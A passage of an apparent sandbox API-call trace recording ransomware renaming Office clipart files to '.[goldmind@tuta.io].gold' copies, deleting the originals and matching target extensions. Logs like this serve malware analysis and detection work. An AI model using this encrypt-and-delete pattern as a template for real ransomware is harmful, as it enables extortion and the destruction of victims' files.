dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0101.099] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=28212) returned 1 [0101.099] CloseHandle (hObject=0x3a8) returned 1 [0101.099] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf")) returned 0x20 [0101.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0101.101] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.101] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0101.102] GetLastError () returned 0x0 [0101.102] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x6e34, lpOverlapped=0x0) returned 1 [0101.104] WriteFile (in: hFile=0x364, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x6e40, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x6e40, lpOverlapped=0x0) returned 1 [0101.105] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.105] WriteFile (in: hFile=0x364, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0101.105] SetEndOfFile (hFile=0x364) returned 1 [0101.106] CloseHandle (hObject=0x364) returned 1 [0101.106] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.106] SetEndOfFile (hFile=0x3a8) returned 1 [0101.108] CloseHandle (hObject=0x3a8) returned 1 [0101.108] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.108] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf")) returned 1 [0101.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0101.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0101.109] lstrlenW (lpString=".doc") returned 4 [0101.109] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.109] lstrlenW (lpString=".docx") returned 5 [0101.109] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0101.109] lstrlenW (lpString=".pdf") returned 4 [0101.109] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.109] lstrlenW (lpString=".xls") returned 4 [0101.109] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.109] lstrlenW (lpString=".xlsx") returned 5 [0101.109] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0101.109] lstrlenW (lpString=".ppt") returned 4 [0101.109] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0101.109] lstrlenW (lpString=".zip") returned 4 [0101.109] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.109] lstrlenW (lpString=".rar") returned 4 [0101.109] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.109] lstrlenW (lpString=".bz2") returned 4 [0101.109] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.109] lstrlenW (lpString=".7z") returned 3 [0101.109] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0101.109] lstrlenW (lpString=".dbf") returned 4 [0101.109] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0101.109] lstrlenW (lpString=".1cd") returned 4 [0101.109] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0101.110] lstrlenW (lpString=".jpg") returned 4 [0101.110] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0101.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0101.110] lstrlenW (lpString=".doc") returned 4 [0101.110] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.110] lstrlenW (lpString=".docx") returned 5 [0101.110] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0101.110] lstrlenW (lpString=".pdf") returned 4 [0101.110] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.110] lstrlenW (lpString=".xls") returned 4 [0101.110] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.110] lstrlenW (lpString=".xlsx") returned 5 [0101.110] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0101.110] lstrlenW (lpString=".ppt") returned 4 [0101.110] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0101.110] lstrlenW (lpString=".zip") returned 4 [0101.110] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.110] lstrlenW (lpString=".rar") returned 4 [0101.110] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.110] lstrlenW (lpString=".bz2") returned 4 [0101.110] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.110] lstrlenW (lpString=".7z") returned 3 [0101.110] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0101.110] lstrlenW (lpString=".dbf") returned 4 [0101.110] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0101.110] lstrlenW (lpString=".1cd") returned 4 [0101.110] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0101.110] lstrlenW (lpString=".jpg") returned 4 [0101.110] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.110] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0101.110] lstrlenW (lpString="J0090390.WMF") returned 12 [0101.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0101.112] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=17638) returned 1 [0101.112] CloseHandle (hObject=0x3a8) returned 1 [0101.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf")) returned 0x20 [0101.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0101.112] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.112] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0101.113] GetLastError () returned 0x0 [0101.113] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x44e6, lpOverlapped=0x0) returned 1 [0101.115] WriteFile (in: hFile=0x364, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x44f0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x44f0, lpOverlapped=0x0) returned 1 [0101.116] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.116] WriteFile (in: hFile=0x364, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0101.116] SetEndOfFile (hFile=0x364) returned 1 [0101.116] CloseHandle (hObject=0x364) returned 1 [0101.116] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.116] SetEndOfFile (hFile=0x3a8) returned 1 [0101.118] CloseHandle (hObject=0x3a8) returned 1 [0101.118] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.388] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf")) returned 1 [0101.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0101.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0101.553] lstrlenW (lpString=".doc") returned 4 [0101.553] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.553] lstrlenW (lpString=".docx") returned 5 [0101.553] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0101.553] lstrlenW (lpString=".pdf") returned 4 [0101.553] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.553] lstrlenW (lpString=".xls") returned 4 [0101.553] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.553] lstrlenW (lpString=".xlsx") returned 5 [0101.553] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0101.553] lstrlenW (lpString=".ppt") returned 4 [0101.553] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0101.553] lstrlenW (lpString=".zip") returned 4 [0101.553] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.553] lstrlenW (lpString=".rar") returned 4 [0101.553] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.553] lstrlenW (lpString=".bz2") returned 4 [0101.553] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.553] lstrlenW (lpString=".7z") returned 3 [0101.553] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0101.553] lstrlenW (lpString=".dbf") returned 4 [0101.553] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0101.553] lstrlenW (lpString=".1cd") returned 4 [0101.553] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0101.553] lstrlenW (lpString=".jpg") returned 4 [0101.553] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0101.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0101.553] lstrlenW (lpString=".doc") returned 4 [0101.553] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.553] lstrlenW (lpString=".docx") returned 5 [0101.553] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0101.554] lstrlenW (lpString=".pdf") returned 4 [0101.554] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.554] lstrlenW (lpString=".xls") returned 4 [0101.554] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.554] lstrlenW (lpString=".xlsx") returned 5 [0101.554] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0101.554] lstrlenW (lpString=".ppt") returned 4 [0101.554] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0101.554] lstrlenW (lpString=".zip") returned 4 [0101.554] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.554] lstrlenW (lpString=".rar") returned 4 [0101.554] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.554] lstrlenW (lpString=".bz2") returned 4 [0101.554] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.554] lstrlenW (lpString=".7z") returned 3 [0101.554] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0101.554] lstrlenW (lpString=".dbf") returned 4 [0101.554] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0101.554] lstrlenW (lpString=".1cd") returned 4 [0101.554] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0101.554] lstrlenW (lpString=".jpg") returned 4 [0101.554] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.554] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0101.554] lstrlenW (lpString="J0099155.JPG") returned 12 [0101.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0101.566] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=8826) returned 1 [0101.566] CloseHandle (hObject=0x3c0) returned 1 [0101.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg")) returned 0x20 [0101.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0101.574] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.574] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0101.575] GetLastError () returned 0x0 [0101.575] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x227a, lpOverlapped=0x0) returned 1 [0101.579] WriteFile (in: hFile=0x398, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x2280, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x2280, lpOverlapped=0x0) returned 1 [0101.580] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.580] WriteFile (in: hFile=0x398, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0101.580] SetEndOfFile (hFile=0x398) returned 1 [0101.580] CloseHandle (hObject=0x398) returned 1 [0101.580] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.580] SetEndOfFile (hFile=0x3b4) returned 1 [0101.582] CloseHandle (hObject=0x3b4) returned 1 [0101.582] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.582] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg")) returned 1 [0101.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0101.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0101.583] lstrlenW (lpString=".doc") returned 4 [0101.583] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0101.583] lstrlenW (lpString=".docx") returned 5 [0101.583] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0101.583] lstrlenW (lpString=".pdf") returned 4 [0101.583] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0101.583] lstrlenW (lpString=".xls") returned 4 [0101.583] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0101.583] lstrlenW (lpString=".xlsx") returned 5 [0101.583] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0101.583] lstrlenW (lpString=".ppt") returned 4 [0101.583] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0101.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0101.583] lstrlenW (lpString=".zip") returned 4 [0101.583] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0101.583] lstrlenW (lpString=".rar") returned 4 [0101.583] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0101.583] lstrlenW (lpString=".bz2") returned 4 [0101.583] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0101.583] lstrlenW (lpString=".7z") returned 3 [0101.583] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0101.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0101.583] lstrlenW (lpString=".dbf") returned 4 [0101.583] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0101.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0101.583] lstrlenW (lpString=".1cd") returned 4 [0101.583] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0101.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0101.583] lstrlenW (lpString=".jpg") returned 4 [0101.583] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0101.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0101.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0101.584] lstrlenW (lpString=".doc") returned 4 [0101.584] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0101.584] lstrlenW (lpString=".docx") returned 5 [0101.584] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0101.584] lstrlenW (lpString=".pdf") returned 4 [0101.584] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0101.584] lstrlenW (lpString=".xls") returned 4 [0101.584] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0101.584] lstrlenW (lpString=".xlsx") returned 5 [0101.584] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0101.584] lstrlenW (lpString=".ppt") returned 4 [0101.584] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0101.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0101.584] lstrlenW (lpString=".zip") returned 4 [0101.584] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0101.584] lstrlenW (lpString=".rar") returned 4 [0101.584] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0101.584] lstrlenW (lpString=".bz2") returned 4 [0101.584] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0101.584] lstrlenW (lpString=".7z") returned 3 [0101.584] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0101.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0101.584] lstrlenW (lpString=".dbf") returned 4 [0101.584] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0101.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0101.584] lstrlenW (lpString=".1cd") returned 4 [0101.584] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0101.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0101.584] lstrlenW (lpString=".jpg") returned 4 [0101.584] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0101.584] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0101.584] lstrlenW (lpString="J0099156.JPG") returned 12 [0101.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0101.587] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=13954) returned 1 [0101.587] CloseHandle (hObject=0x3b4) returned 1 [0101.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg")) returned 0x20 [0101.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 